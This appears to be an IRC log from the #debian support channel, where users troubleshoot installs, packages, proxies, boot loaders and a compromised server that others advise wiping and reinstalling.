| 05:18.53 | C17H21NO4 | redmoth: I can't see how. |
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| 05:19.28 | C17H21NO4 | redmoth: It still did it after you repartitioned it? |
| 05:19.39 | redmoth | yeah |
| 05:20.43 | redmoth | it was telling me to update e2fsk manually, or to press control-D to continue booting, but it wasnt accepting keyboard input |
| 05:21.26 | kreg | stupid news channels are so tabloid tonight with the martha stewart thing |
| 05:21.29 | C17H21NO4 | Are you using an older version of mkfs.ext3 than your fsck.ext3 |
| 05:21.44 | redmoth | it was spitting out a partition label that was not the name of any of the parts on the drive as well |
| 05:22.23 | redmoth | um, im not sure, it is what ever is on the net install iso for the current sarge, and the woody from about a year ago |
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| 05:23.05 | C17H21NO4 | So you did the netinstall and it fails on the rebooot? |
| 05:23.13 | redmoth | exactly |
| 05:23.45 | redmoth | and i know that i have installed successfully on other systems, at least from the old woody iso, but not from the sarge net install |
| 05:23.59 | redmoth | i have never got the new installer to actually work |
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| 05:25.21 | C17H21NO4 | Maybe there are some magic pixies on the disk. Did you delete all partitions first? |
| 05:25.28 | Flimzy | What's everyone's favorite mpeg encoder? I've been playing with ffmpeg as well as mpeg2enc... I'm thinking mpeg2enc may produce higher quality files. Does anyone else have any relevant experience to share? |
| 05:25.34 | deadcat | whats up with update-grub? its ignoring my kopt line for 2.6 kernels |
| 05:25.48 | redmoth | i tried |
| 05:25.52 | redmoth | then reparted it |
| 05:25.59 | redmoth | still no luck |
| 05:26.17 | C17H21NO4 | redmoth: I still say you got a bad disk. |
| 05:26.29 | redmoth | argh! |
| 05:26.54 | redmoth | well, it would seem that is correct, though i would hate that |
| 05:27.14 | C17H21NO4 | Flimzy: avidemux2 works well, there are several codecs available for mpeg 1/2/4 |
| 05:27.46 | C17H21NO4 | redmoth: I have had more DOA hdds than I care to count |
| 05:27.49 | Flimzy | C17H21NO4: thanks. |
| 05:28.02 | Flimzy | C17H21NO4: Have you compared avidemux2 results with other encoders? |
| 05:28.12 | redmoth | man, its just that its new....at least Seagate has a 5 year warranty |
| 05:28.19 | Flimzy | C17H21NO4: specifically the quality of the resulting files? |
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| 05:29.20 | C17H21NO4 | Flimzy: It's a nice frontend for several encoders. I have been very happy with the results. You can add filters and preview the results before encoding. |
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| 05:29.43 | Flimzy | C17H21NO4: I see. I'll give it a try. |
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| 05:30.21 | Flimzy | Hrmph. mpeg2enc seems to generate higher-quality stills... whereas ffmpeg seems to create higher-quality motion. |
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| 05:34.27 | TheZanke | okay how do i make squid use port 8080 and allow connections from OUTSIDE my lan? |
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| 05:38.07 | Internet_ | !maint firefox |
| 05:38.56 | Internet_ | package firefox does not exist?!?? |
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| 05:39.09 | streuner | mozilla-firefox prolly |
| 05:39.09 | Internet_ | !maint mozilla-firefox |
| 05:39.14 | dpkg | mozilla-firefox: Eric Dorland <eric@debian.org> |
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| 05:39.56 | Internet_ | How do I ask for his nick? Do I have to go to people debian.org, and enter some archane magic? |
| 05:40.06 | streuner | yep |
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| 05:42.14 | EruditeHermit | hey, does anyone know how to find the bdaddr of a bluetooth device? |
| 05:42.37 | Internet_ | He screwed up. I guess I am thankful that he packaged firefox .. but he screwed up the config in a way that renders firefox unusuable for a large number of people, without changing some archane configuration. |
| 05:42.55 | maher | Internet_: file a bug |
| 05:42.59 | Internet_ | I dunno if he did it on purpose. |
| 05:43.37 | Internet_ | But since the config is sane defaultly .. it seems like either evil will or cluelessness .. |
| 05:43.46 | Xenguy | Internet_: interesting. I just switched back to 'Mozilla' after Firefox upgrade wouldn't initiate at all. |
| 05:44.02 | Internet_ | Xenguy : Mozilla works here too. |
| 05:44.43 | Xenguy | Internet_: I like FF better, but I got an 'Illegal Instruction' error after the upgrade to 1.01 (which seems like a rather evil error message actually) |
| 05:44.48 | maher | firefox works here |
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| 05:45.01 | Internet_ | maher : I doubt it. |
| 05:45.04 | Xenguy | maher: that's what I've heard elsewhere also... |
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| 05:45.16 | Internet_ | maher : Try http://www.lægen.dk |
| 05:45.18 | MobyTurbo | firefox works here too, but I'm using what's in sarge for now. |
| 05:45.27 | Xenguy | maher: I'm not sure what to think -- something is funky, but I'm not exactly sure where ATM |
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| 05:45.50 | maher | Internet_: works fine |
| 05:45.59 | Internet_ | MobyTurbo : Try http://www.lægen.dk .. then upgrade and be puzzled. |
| 05:46.03 | Internet_ | maher : Then upgrade |
| 05:46.16 | maher | Internet_: i'm on unstable - i'm up to date |
| 05:46.22 | Internet_ | hooty |
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| 05:46.31 | Internet_ | maher : Oh .. unstable .. I have sarge |
| 05:46.41 | Xenguy | maher: that means it works for you :-) |
| 05:46.44 | Internet_ | !seen hooty |
| 05:46.44 | dpkg | Internet_: i haven't seen 'hooty' |
| 05:46.50 | Xenguy | maher: I'm on sid also |
| 05:46.52 | maher | Internet_: maybe you're using a version with broken interntaional character support |
| 05:47.16 | Internet_ | maher : No .. the problem was that network-idn was turned off. |
| 05:47.24 | maher | Internet_: that's put back in the next version - the url appears as http://www.xn--lgen-voa.dk/ for me |
| 05:47.42 | Internet_ | I turned it on manually .. but I think it need to be fixed. |
| 05:47.45 | Internet_ | Its a grave bug. |
| 05:48.05 | maher | Internet_: its fixed in unstable... |
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| 05:48.44 | MobyTurbo | Internet_: it doesn't work here too, I think it was disabled on purpose as an anti-phishing measure. |
| 05:48.54 | Internet_ | how idiotic |
| 05:49.30 | Internet_ | "Oh .. I guess somebody might use this for phishing .. so lets ruin firefox for most of the world." |
| 05:49.34 | maher | it was disabled the re-enabled |
| 05:50.18 | Internet_ | I just hope the fixed version makes it to sarge before a freeze. |
| 05:50.23 | tga | most of the world doesn't use domains like "lægen" |
| 05:50.37 | Internet_ | tga: Unicode? |
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| 05:50.57 | tga | b0rked Unicode support, heh |
| 05:51.02 | tga | ASCII is the One True Way |
| 05:51.04 | maher | Internet_: sarge won't have frozen in < 10 days... |
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| 05:51.35 | Internet_ | tga : Yes, most of the people in the world _does_ use other characters than US-ASCII, actually. |
| 05:51.50 | tga | the US is working at fixing that :) |
| 05:51.57 | Internet_ | maher : Thats nice :) |
| 05:52.23 | Internet_ | tga : Do you speak english? "No" *bang* .. next .. Do you speak english? |
| 05:52.45 | tga | you got it Internet_ |
| 05:52.57 | Xenguy | Internet_: all the accents need to go -- they are unecessarily complicated in my universe :-) |
| 05:52.58 | tga | Internet_: also complaining about Unicode support bumps you to the top of the list |
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| 05:54.35 | Internet_ | Does developers upload to unstable, experimental or both? |
| 05:55.08 | Internet_ | And if they upload to experimental, what does it take to make it go to unstable? |
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| 05:56.30 | Kurniady | when I run "make-kpkg" where should the .deb kernel image be? |
| 05:57.17 | valdyn_ | Kurniady: in ../ |
| 05:58.22 | Kurniady | but I can't find it.. i.e if I run it from /usr/src/linux-2.4.18/ then the kernel image should be at /usr/src ? |
| 05:58.31 | valdyn_ | Kurniady: yes |
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| 05:59.16 | TheZanke | fusion: how do i make it so squid is just accessible by anyone? |
| 05:59.23 | Kurniady | and what parameter should I use when I run the make-kpkg? |
| 05:59.32 | Kurniady | (after doing "make menuconfig") |
| 05:59.41 | superCow007 | is there a way to simply tell aptitude that you don't want a particular dependency to count, to just ignore it? |
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| 05:59.45 | maher | Kurniady: read the instructions |
| 05:59.50 | valdyn_ | Kurniady: make-kpkg clean && make-kpkg kernel-image |
| 06:00.54 | Kurniady | okay thanks |
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| 06:03.20 | fusion | TheZanke, read the docs... |
| 06:05.05 | TheZanke | fusion: i am, but i keep getting "The requested URL could not be retrieved" when i try to use it |
| 06:05.19 | valdyn_ | superCow007: /msg dpkg equivs |
| 06:05.26 | TheZanke | "Access control configuration prevents your request from being allowed at this time. Please contact your service provider if you feel this is incorrect." |
| 06:06.20 | fooz | if only swapping an engine were as easy as upgrading debian |
| 06:06.57 | fusion | TheZanke, ...so read the docs and configure it properly |
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| 06:07.34 | valdyn_ | TheZanke: /etc/squid/squid.conf is soo verbose |
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| 06:08.02 | TheZanke | valdyn_: what do you mean? |
| 06:08.29 | valdyn_ | TheZanke: that squids config is self explanatory |
| 06:08.50 | TheZanke | yes but what you'd think would work isn;t |
| 06:09.38 | Internet_ | I will trust you guys that it has been taken care off .. thanks. |
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| 06:11.49 | siimo | how do i tell the DHCP client on debian to not overwrite my /etc/resolv.conf ? |
| 06:11.56 | dondelelcaro | siimo: use resolvconf |
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| 06:12.14 | Haruko | !faq |
| 06:12.14 | dpkg | The #debian FAQ is at http://www.linuks.mine.nu/debian-faq-wiki/ |
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| 06:17.00 | siimo | ty |
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| 06:21.14 | sion | How do I setup my network card IP? I remember when I first install woody, its ask me to setup an IP... how do I get back that prompt? is it >> dpkg-reconfigure network? help please. |
| 06:21.44 | maher | sion: try etherconf |
| 06:22.22 | dondelelcaro | sion: or just edit /etc/network/interfaces; after reading man 5 interfcaes; |
| 06:22.28 | dondelelcaro | s/fca/fac/ |
| 06:22.38 | sion | thx |
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| 06:26.18 | deadcat | why isnt update-grub use my kopt line in menu.lst anymore? |
| 06:26.34 | calin | double commented? |
| 06:26.40 | deadcat | nope |
| 06:27.14 | deadcat | it addes to the 2.4 kernel. |
| 06:27.34 | calin | Then I dunnoh, sorry. Why not just edit by hand? That's what I do. |
| 06:28.11 | deadcat | calin: thats what update-grub is for. |
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| 06:29.05 | reaper_ | anyone know of anything that can act as a porn filter under linux |
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| 06:29.17 | reaper_ | similar to url blocking on symantec firewalls |
| 06:29.29 | reaper_ | besides me installing 5000 iptables rules |
| 06:29.35 | calin | deadcat, had you not left, i could be calling you a moron to your face |
| 06:29.43 | calin | porn filter |
| 06:29.44 | calin | hmm |
| 06:29.58 | calin | setting up a http proxy that filters by keyword? |
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| 06:30.30 | reaper_ | blocking them by ip is more what i was hoping for |
| 06:30.39 | reaper_ | routing them to locahost or something of that nature |
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| 06:30.41 | calin | Well do you have a list of the IP addies? |
| 06:31.07 | maher | reaper_: set up a squid proxy and publish the logs - maybe that will embarrass people... |
| 06:31.27 | calin | reaper_: Well do you have a list of the IP addies? |
| 06:31.28 | reaper_ | its my dad |
| 06:31.31 | Haruko | Hmm... |
| 06:31.41 | reaper_ | calin: im hoping theres a program for linux that already does it |
| 06:31.42 | Haruko | when my linux computer boots up all it says is LI.... |
| 06:31.46 | Haruko | Whats going on? |
| 06:31.48 | calin | heh |
| 06:31.52 | maher | reaper_: will he not be embarrassed then? |
| 06:31.54 | skip_ | don't shoot me down for asking this question, I'll explain later: how do I change the X-server resolution from 75x75 to 100x100? |
| 06:32.06 | reaper_ | he knows, i know.. im tired of cleaning spyware off his computer |
| 06:32.09 | reaper_ | i just want to block the source |
| 06:32.20 | calin | skip_: Square screen? Intriguing, What for? |
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| 06:32.29 | skip_ | calin: laptop LCD |
| 06:32.35 | reaper_ | maybe its moms fault for not putting out.. im not interested in blame |
| 06:32.36 | maher | reaper_: surely if your dad wants to download dodgy pics that's his business? |
| 06:32.45 | reaper_ | it becomes mine when i have to fix his computer weekly |
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| 06:33.17 | calin | reaper_: you would have to have the IP's you wanted to block, there's nothing to discern if something is porn or not cept by keywords (which is sometimes not accurate), or by seeing the site allready |
| 06:33.37 | reaper_ | my question was if there is something for linux that does this |
| 06:33.42 | reaper_ | i already know whats involved in doing it |
| 06:34.08 | calin | 3You could set up a script to automatically add the IP's out of a list in a file |
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| 06:34.18 | calin | using cat and xargs |
| 06:34.32 | reaper_ | i dont think you read what i said |
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| 06:34.58 | calin | ah |
| 06:35.02 | calin | another moron helped |
| 06:35.14 | calin | jeez |
| 06:35.40 | calin | skip_: dunnoh, sorry |
| 06:36.05 | TheZanke | fusion: thank you, it is all set |
| 06:36.15 | skip_ | calin: think I just figured it out...I'll just see |
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| 06:36.34 | calin | cool |
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| 06:40.24 | dupondje | hi guys, i upgraded woody to sarge, and now my raid isn't starting @ boot |
| 06:40.27 | dupondje | how can i fix that ? |
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| 06:41.35 | superCow007 | once I install equivs.. man equivs isn't getting me a man page |
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| 06:41.42 | calin | dupondje: Try reconfiguring? |
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| 06:42.19 | calin | superCow007: google the manpage then |
| 06:42.21 | dupondje | how ? |
| 06:42.49 | calin | dupondje: did you set up the raid? |
| 06:42.55 | dupondje | yea |
| 06:43.02 | dupondje | it works when i do raidstart -a |
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| 06:43.43 | calin | then figure out how to have the compy do a command on boot and put that to exec |
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| 06:44.10 | draven | i'm trying to install into my home directory a program from source and basically one of my ld paths is set up wrong can anyone give me some help with this? |
| 06:44.21 | calin | ld paths? |
| 06:44.25 | draven | yeah |
| 06:44.47 | cat | draven: u mean apt-get source package name? |
| 06:44.48 | aristocrat | can any ont point to me where /bin2/sh comes from? |
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| 06:45.13 | draven | cat no i mean from source as in a tar.gz file using make and make install |
| 06:45.29 | cat | oh ok, |
| 06:45.31 | cat | what's wrong? |
| 06:45.33 | calin | draven: ./configure? |
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| 06:46.03 | draven | i need a path set up to my fonts that i have installed in my home dir but i don't have it set up right |
| 06:46.36 | calin | why not set your env var? |
| 06:46.38 | calin | like |
| 06:46.54 | cat | draven: mkdir .fonts |
| 06:46.55 | calin | set PATH=%PATH%;/path/to/fonts |
| 06:46.57 | cat | and put them there |
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| 06:47.18 | calin | or what cat says |
| 06:47.23 | draven | that might work, does that make me lose all my other fonts? |
| 06:47.35 | draven | ugh i mean paths |
| 06:47.44 | draven | sorry its late and this has my brain shot |
| 06:47.53 | calin | no, hence the usage of path=%path%;/path/to |
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| 06:48.09 | calin | %path% == current path var |
| 06:48.12 | calin | i think |
| 06:48.19 | calin | I really dunnoh for sure |
| 06:48.52 | draven | i'll give it a shot and let you know if it works |
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| 06:49.08 | calin | I'd man set first |
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| 06:50.17 | Haruko | Hmm... |
| 06:50.28 | Haruko | Man my install is fuxor3d :( |
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| 06:51.08 | calin | Haruko: ? |
| 06:51.17 | superCow007 | ok, I am looking at equivs.. I see how to make a dummy package that claims to provide a dependency, like httpd or mail-transport-agent.. but the troublesome package I want to fix is requesting a particular version of a package, and won't take a newer but compatible version.. can equivs help me with this? |
| 06:51.34 | Haruko | It freezes at LI_ lol :) |
| 06:51.39 | dondelelcaro | superCow007: which "troublesome package" is this? |
| 06:51.40 | Haruko | Sorry Im a bit new to linux |
| 06:51.49 | Haruko | Im just going to download the Sarge DVD and reinstall |
| 06:51.49 | cat | Haruko: u did something wrong, |
| 06:51.50 | draven | calin no luck |
| 06:51.56 | Haruko | I wouldnt be suprised :) |
| 06:51.57 | superCow007 | a non-official package.. php4-mapscript |
| 06:52.02 | calin | draven: I tried, sorry I couldn't help |
| 06:52.03 | polok | which option in ls allows me to see the size of the directories being displayed (ls -l just shows the block size)? |
| 06:52.13 | draven | i'm going to post what i'm inputting into #flood if you can take a look i'd appreciate it |
| 06:52.15 | cat | Haruko: u configured you'r lilo wrong, or the partitions u did them wrong |
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| 06:52.26 | Haruko | It was working last night |
| 06:52.38 | cat | u can't boot up to a kernel |
| 06:52.38 | Haruko | Someone helped me update to sarge |
| 06:52.47 | MobyTurbo | !tell cat about u |
| 06:52.52 | cat | !tell Haruko about sarge |
| 06:52.53 | Haruko | I have my recovery floppy |
| 06:53.12 | cat | Haruko: ok, |
| 06:53.21 | Haruko | Im able to load up into debian |
| 06:53.24 | Haruko | I can log in and look around |
| 06:53.32 | cat | good, |
| 06:53.34 | Haruko | so I shutdown -r now and remove the floppy |
| 06:53.39 | Haruko | but It will not boot :( |
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| 06:54.13 | cat | damn i hate this fucking microsoft usb mouse always turning off on my ass |
| 06:54.18 | Haruko | lol |
| 06:54.31 | superCow007 | php-mapscript requires php4-cgi-mapscript.. which is another non-official package.. php4-cgi-mapscript requires php4-common 4.3.10-3, but apache2 requires php4-common 4.3.10-8 or greater.. I need both apache2 and php-mapscript installed at the same time.. |
| 06:54.51 | Haruko | cat> Is it fixable or am I better off just reinstalling since I am super newb |
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| 06:54.57 | cat | superCow007: do apt-get install apache2 php-mapscript |
| 06:55.00 | TheBlueWizard | "turn off on"? as in "turn off and turn on"? ;) |
| 06:55.10 | cat | Haruko: did u have important stuff there? |
| 06:55.17 | Haruko | Nope fresh Install |
| 06:55.25 | cat | ok, just get grub friendly, |
| 06:55.28 | calin | TheBlueWizard: the on is part of "on my ass" |
| 06:55.29 | polok | ls doesn't have an option that tells me how big the directory is (as in a summation of all the files in that directory)? |
| 06:55.30 | cat | don't get lilo |
| 06:55.35 | superCow007 | cat - but php-mapscript and apache2 both require conflicting versions of php4-common.. |
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| 06:55.48 | calin | polok: lemme look around a bit, i'll figure something out for you |
| 06:55.50 | Haruko | cat> grub friendly? |
| 06:55.56 | cat | for me it is |
| 06:56.09 | dondelelcaro | superCow007: php-mapscript is not in Debian |
| 06:56.14 | dondelelcaro | !+info php-mapscript |
| 06:56.14 | superCow007 | php4-mapscript indirectly needs php4-common 4.3.10-3.. not a newer version, but that exact one.. while apache2 requires >= 4.3.10-8 |
| 06:56.15 | dpkg | Package 'php-mapscript' does not exist. |
| 06:56.26 | superCow007 | php4-mapscript.. no it is not.. it is not official |
| 06:56.26 | polok | calin: ta? |
| 06:56.30 | TheBlueWizard | calin: I'm making a joke...see the wink smiley |
| 06:56.38 | j_k | polok: du serves that purpose |
| 06:56.44 | dondelelcaro | superCow007: well, so fix the package so that it requires a reasonable version of php4-common. |
| 06:56.54 | superCow007 | will equivs help me hear? |
| 06:56.56 | calin | polok: eh? |
| 06:57.01 | superCow007 | because that is the advice I keep getting |
| 06:57.03 | dondelelcaro | superCow007: no, it won't. Only fixing the broken package will. |
| 06:57.06 | calin | TheBlueWizard: Sorry |
| 06:57.11 | calin | lil tired |
| 06:57.23 | superCow007 | hrmm.. debain new maintainer's guide for me then I guess.. |
| 06:57.34 | TheBlueWizard | calin: that's ok...I'm tired too (it's almost 2 AM here :) |
| 06:57.45 | calin | it's almost 1 here, where you at? |
| 06:57.45 | cat | superCow007: and debian policy also |
| 06:57.47 | superCow007 | 1:59 here |
| 06:57.55 | dondelelcaro | superCow007: can you give the details of this "indirect" dependency on php4-common (=4.3.10-3)? |
| 06:58.00 | JavaManiac | i want to be a maintainer ,how can i begin for that?? |
| 06:58.09 | cat | JavaManiac: www.debian.org/devel |
| 06:58.10 | polok | j_k: ah ok, du |
| 06:58.29 | superCow007 | it may just easier to install everything non-standard from tarballs.. |
| 06:58.30 | cat | JavaManiac: read this http://www.debian.org/doc/maint-guide/ch-first.en.html |
| 06:58.32 | TheBlueWizard | calin: I live in MD near DC |
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| 06:58.37 | calin | cool |
| 06:58.42 | calin | cypress just outta houston here |
| 06:58.51 | calin | (Texas, obviously) |
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| 06:59.06 | TheBlueWizard | yep...that close :) |
| 06:59.08 | cat | i'm gonna buy a new mouse |
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| 06:59.55 | inc|freaky | are there any programs i can do online radio with on linux? |
| 07:00.02 | inc|freaky | with a gui? |
| 07:00.19 | calin | inc|freaky: serve or listen |
| 07:00.20 | calin | ? |
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| 07:00.28 | inc|freaky | calin: serve |
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| 07:00.48 | calin | No idea, pdo it or google or apt-cache search |
| 07:01.00 | shaggs | what program can I use to burn CD's? |
| 07:01.30 | maher | shaggs: k3b |
| 07:01.35 | streuner | cdrecord or cdrdao |
| 07:01.38 | mwilson | cdrecor |
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| 07:01.43 | mwilson | cdrecord, even |
| 07:01.44 | streuner | calin: icecast |
| 07:02.04 | shaggs | why isnt there anything in the menues... arg |
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| 07:03.00 | valdyn_ | shaggs: has to be a GUI? |
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| 07:04.19 | calin | night |
| 07:04.22 | shaggs | valdyn_: when dealing with files, yes |
| 07:04.49 | valdyn_ | shaggs: k3b then |
| 07:04.56 | shaggs | yah, im loading it |
| 07:05.18 | dondelelcaro | *** LARGE AMOUNTS OF BANS WILL BE REMOVED FROM #DEBIAN SHORTLY (in 2 minutes). USE /ignore #debian MODES *** |
| 07:05.21 | shaggs | im wondering why my debian came with everything possibly needed in the world but not k3b |
| 07:05.32 | dondelelcaro | !installit |
| 07:05.33 | dpkg | *** NEWS FLASH! Your box does not come with every app, tool and utility known to debiankind installed already. If you find that the program you've been told to use isn't there, install it. Also ask me about <search>. |
| 07:05.45 | cat | !search |
| 07:05.46 | dpkg | search is probably try 'apt-cache search <regex>', if you want to know what package owns a file use dpkg -S /bin/foo. To find a package based on what files it includes use 'apt-get install apt-file;apt-file update;apt-file search foo'. Use http://packages.debian.org if you're not on a debian system. /msg <bot> find <thing> if you're already here. /msg <bot> ... |
| 07:06.02 | shaggs | i know that they wouldnt have it |
| 07:06.05 | valdyn_ | shaggs: because its not part of any major component, not kde, not gnome ( though it fits to kde ) |
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| 07:06.23 | shaggs | i just think its funny that debian came with tools to sync up to a palm pilot, but not a cd burner |
| 07:06.41 | valdyn_ | shaggs: yea, that tool is for some funny reason part of "gnome" |
| 07:06.41 | dondelelcaro | shaggs: it comes with them all. and those tools to sync to a palm pilot aren't installed by default either. |
| 07:06.44 | dondelelcaro | !info k3b |
| 07:06.47 | dpkg | k3b: (A sophisticated KDE cd burning application), section otherosfs, is optional. Version: 0.11.20-1 (sid), Packaged size: 2231 kB, Installed size: 4740 kB |
| 07:06.48 | Xsquared | what the best way to troubleshoot dependency problems |
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| 07:07.09 | shaggs | i know what k3b is, ive used it before |
| 07:07.12 | dondelelcaro | Xsquared: walk through the dependency pathway by hand to figure it out. |
| 07:07.24 | dondelelcaro | *** LARGE AMOUNTS OF BANS WILL BE REMOVED FROM #DEBIAN SHORTLY (in 30 seconds). USE /ignore #debian MODES *** |
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| 07:07.37 | valdyn_ | Xsquared: depenency problems in which debian release? |
| 07:07.39 | sep | shags "debian come" with the packages _you_ choose to install |
| 07:07.41 | jm_ | hehe |
| 07:07.47 | Xsquared | sarge |
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| 07:07.53 | valdyn_ | Xsquared: they're usually pebkac anyway |
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| 07:08.33 | valdyn_ | dondelelcaro: why is this done? |
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| 07:08.50 | simonrvn | valdyn_: probably had 200+ or such. /bans |
| 07:08.51 | benh_ | I'm migrating a server from one box to another, can I just copy over /etc/passwd and /etc/group or am I going to have to rebuild all the users on the system? |
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| 07:09.02 | maher | benh_: you can copy |
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| 07:09.12 | benh_ | cool thanks maher |
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| 07:09.30 | sep | benh_: dont forget to create the uses homedirs |
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| 07:09.52 | benh_ | sep: ya I know that I could copy them just fine... I was more worried that theres some shadow file that I would miss |
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| 07:10.02 | *** mode/#Debian [-o dondelelcaro] by dondelelcaro |
| 07:10.15 | dondelelcaro | you can /unignore #debian MODES; if you want now. |
| 07:10.19 | maher | benh_: copy them and cp /home too |
| 07:10.28 | Xsquared | why do you not leave yourself as channel op dondelelcaro? |
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| 07:10.38 | hlp_me | wooohooo :) |
| 07:10.40 | dondelelcaro | Xsquared: see the freenode policy |
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| 07:10.54 | Xsquared | ahh ok |
| 07:10.55 | simonrvn | Xsquared: no need to. there's services. and what he said |
| 07:11.03 | Xsquared | kk |
| 07:11.31 | dondelelcaro | valdyn_: it's done because it's difficult to deal sanely with ~300 bans |
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| 07:11.47 | dondelelcaro | granted, I only killed about 120 of them, but still, it's an improvement. |
| 07:11.56 | Xsquared | yay. my dependency problem fixed. thanks for the advice dondelelcaro. |
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| 07:12.07 | herbi | mother is an onjoin spammer |
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| 07:12.44 | simonrvn | :) |
| 07:12.45 | herbi | :D |
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| 07:14.30 | simonrvn | dondelelcaro: much improved :) |
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| 07:17.01 | inc|freaky | !fgi test |
| 07:17.38 | Xsquared | see #flood for a sec.. do you know why this is happening? |
| 07:18.16 | simonrvn | because you don't have an mta installed? |
| 07:18.30 | Xsquared | ok |
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| 07:19.30 | simonrvn | Xsquared: apt-cache show <packagename> [<packagename> <packagename> <packagename> ] |
| 07:19.37 | fusion | anyone know of a linux distribution that is just a firewall? |
| 07:19.46 | Xsquared | yes |
| 07:19.48 | Xsquared | ipcop |
| 07:19.51 | simonrvn | several |
| 07:19.54 | fusion | Thats the one |
| 07:20.06 | fusion | thanks |
| 07:20.18 | sep | fusion: i like leaf.sf.net , it followes the debian structure so it's easy to use |
| 07:20.38 | fusion | ah |
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| 07:24.06 | karsten | So, I'm looking for some simple case studies illustrating Linux's flexibility. Eg: Google clustering 10k+ PCs for search. LTSP. Knoppix. |
| 07:24.10 | karsten | Any other suggestions? |
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| 07:24.33 | draven | Xsquared needs help with apt and why its saying packages not upgraded |
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| 07:24.40 | Xsquared | thanks |
| 07:24.41 | valdyn_ | karsten: sgi's 128+ cpu machines |
| 07:24.42 | Xsquared | lol |
| 07:24.59 | karsten | valdyn_: Um. How did linux flexibility help there? |
| 07:25.00 | draven | Xsquared you get it figured out? |
| 07:25.06 | Xsquared | not yet |
| 07:25.20 | karsten | valdyn_: The issue isn't what someone got Linux to run on, but how the flexibility scored a win. |
| 07:25.31 | valdyn_ | karsten: scaling up to more than 128 cpu _is_ flexibility |
| 07:25.35 | Xsquared | why are packages kept back from upgrading? |
| 07:25.47 | CyzarX | for apt-get upgrade, it will upgrade all the available software in my box. what if i only only certain software but not all? how can i achieve this ? |
| 07:25.59 | valdyn_ | karsten: or - rather, running on handhelds and also on 128+ machines, thats flexibility |
| 07:26.01 | karsten | valdyn_: For values of "flexibility" equaling "scalability". |
| 07:26.09 | karsten | valdyn_: It's impressive, it's not what I'm looking for. |
| 07:26.17 | karsten | valdyn_: I've already got gumsticks to warehouses. |
| 07:26.29 | karsten | valdyn_: I'm looking for something a little more prosaic. |
| 07:26.44 | jm_ | Xsquared: /msg dpkg kept back |
| 07:26.51 | Xsquared | thanks |
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| 07:27.18 | karsten | draven: http://linuxmafia.com/~karsten/Linux/linux-new.html |
| 07:27.52 | karsten | valdyn_: Though that is a good entry for the scalability section. |
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| 07:28.34 | Xsquared | ahh, i understand how it works now. thanks. |
| 07:28.50 | karsten | draven: search "Why GNU/Linux?" |
| 07:28.58 | The_Ball | hi, my debian box has been "rooted"... I can't perform a new install on it from where I am, is there any guides to cleaning the box? |
| 07:29.02 | draven | yeah i'm reading it |
| 07:29.10 | fusion | apt-get dist-upgrade will upgrade all upgradable packages |
| 07:29.22 | grepper | strange, this sid apt-get upgrade wants remove no packages, upgrade 200+ and will free up 200 megs of disk space |
| 07:29.28 | fusion | The_Ball, tldp.org |
| 07:30.00 | simonrvn | grepper: it happens |
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| 07:30.20 | draven | karsten i know most gaming machines at casinos are linux based |
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| 07:30.35 | DiPx | where can i update my list apt-get sources |
| 07:30.39 | DiPx | havent updated in months |
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| 07:31.19 | draven | karsten its used in a lot of stuff other than your standard pc |
| 07:31.32 | sep | karsten http://ngc891.blogdns.net/kernel/docs/arch.txt this is flexibility |
| 07:31.33 | CyzarX | DiPx, apt-get update |
| 07:31.36 | karsten | draven: *Really*? I had no idea. |
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| 07:31.51 | draven | well what are you looking for then |
| 07:31.52 | simonrvn | DiPx: oh my. man apt-get. apt-get update && apt-get dselect-upgrade |
| 07:31.58 | draven | you come with a vague question |
| 07:32.07 | draven | no idea on what you already have |
| 07:32.10 | simonrvn | !vagueness |
| 07:32.11 | dpkg | VAGUENESS CAUSES SARS! |
| 07:32.12 | The_Ball | the root-kit was running as: www-data 8244 0.0 0.0 1452 332 ? Ss Jan29 0:00 ./rootedoor |
| 07:32.27 | simonrvn | that's not cool |
| 07:32.29 | The_Ball | does that suggest it was a web server error/misconfig? |
| 07:32.33 | karsten | OK... By flexibility, I mean "the ability to avoid constraints let us do some really cool stuff". |
| 07:32.40 | CyzarX | for apt-get upgrade, it will upgrade all the available software in my box. what if i only only certain software but not all? how can i achieve this ? |
| 07:32.57 | karsten | draven: http://linuxmafia.com/~karsten/Linux/linux-new.html ("Why GNU/Linux" section) is what I'm working on. |
| 07:33.08 | hlp_me | The_Ball most likely, since it had apache privs.... look through the logs... perhpaps you run phpbb? |
| 07:33.11 | karsten | sep: Your example's portability, thanks, covered elsewhere. |
| 07:33.17 | Haruko | Hmm so no way to fix my linux install short of reformating? |
| 07:33.18 | simonrvn | The_Ball: could a number of things... definitely a r00tkit though |
| 07:33.31 | sep | karsten: http://www.batbox.org/wrt54g-linux.html how you can run linux on a linksys wireless router |
| 07:33.44 | The_Ball | simonrvn, can I use apt to reinstall all packages? |
| 07:33.59 | sep | linux on xbox might be something just the same |
| 07:34.01 | simonrvn | The_Ball: no |
| 07:34.03 | karsten | The_Ball: Yes, though unless you've hosed your system you generally don't need to. |
| 07:34.26 | karsten | sep: What I'm looking for is something that would appeal to a small business operator, or an IT manager, or a home user. |
| 07:34.32 | DiPx | The following NEW packages will be installed: |
| 07:34.32 | DiPx | <PROTECTED> |
| 07:34.32 | DiPx | 50 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded. |
| 07:34.33 | DiPx | Need to get 79.6MB of archives. After unpacking 352kB will be used. |
| 07:34.33 | DiPx | Do you want to continue? [Y/n] |
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| 07:34.33 | valdyn_ | linux was used to replace the stupid slow default java software on german digital tv boxes |
| 07:34.35 | The_Ball | karsten, what do you mean by hosed? |
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| 07:34.37 | karsten | sep: So: More prosaic. Home music system might work. |
| 07:34.39 | DiPx | oops |
| 07:34.42 | DiPx | yes or no should i pick |
| 07:34.45 | simonrvn | The_Ball: keep all non-binary data, audit it, re-install from scratch. wipe the drive after you've moved the non-binary data |
| 07:34.48 | maher | The_Ball: you really need to wipe the hd and reinstall |
| 07:34.48 | DiPx | let me join #flood |
| 07:34.59 | karsten | The_Ball: hosed: messed up. |
| 07:35.11 | The_Ball | my problem is the box is on the other side of the earth... |
| 07:35.18 | karsten | The_Ball: Gotchya. Rooted. |
| 07:35.23 | karsten | The_Ball: Wipe and reinstall. |
| 07:35.44 | simonrvn | DiPx: um, harmless. you can always do apt-cache show libglib2.0-0 you know |
| 07:35.54 | hlp_me | karsten mmm, i doubt he actually got rooted, but to be on safe side... |
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| 07:36.03 | karsten | The_Ball: Save /etc someplace, you're going to need to go through it. Save your package list (ask for help if necessary). Save /home. See my backups page (link in a sec) for other stuff to back up. |
| 07:36.11 | simonrvn | hlp_me: safe to assume such |
| 07:36.15 | karsten | hlp_me: He should wipe and reinstall. |
| 07:36.24 | hlp_me | agreed :) |
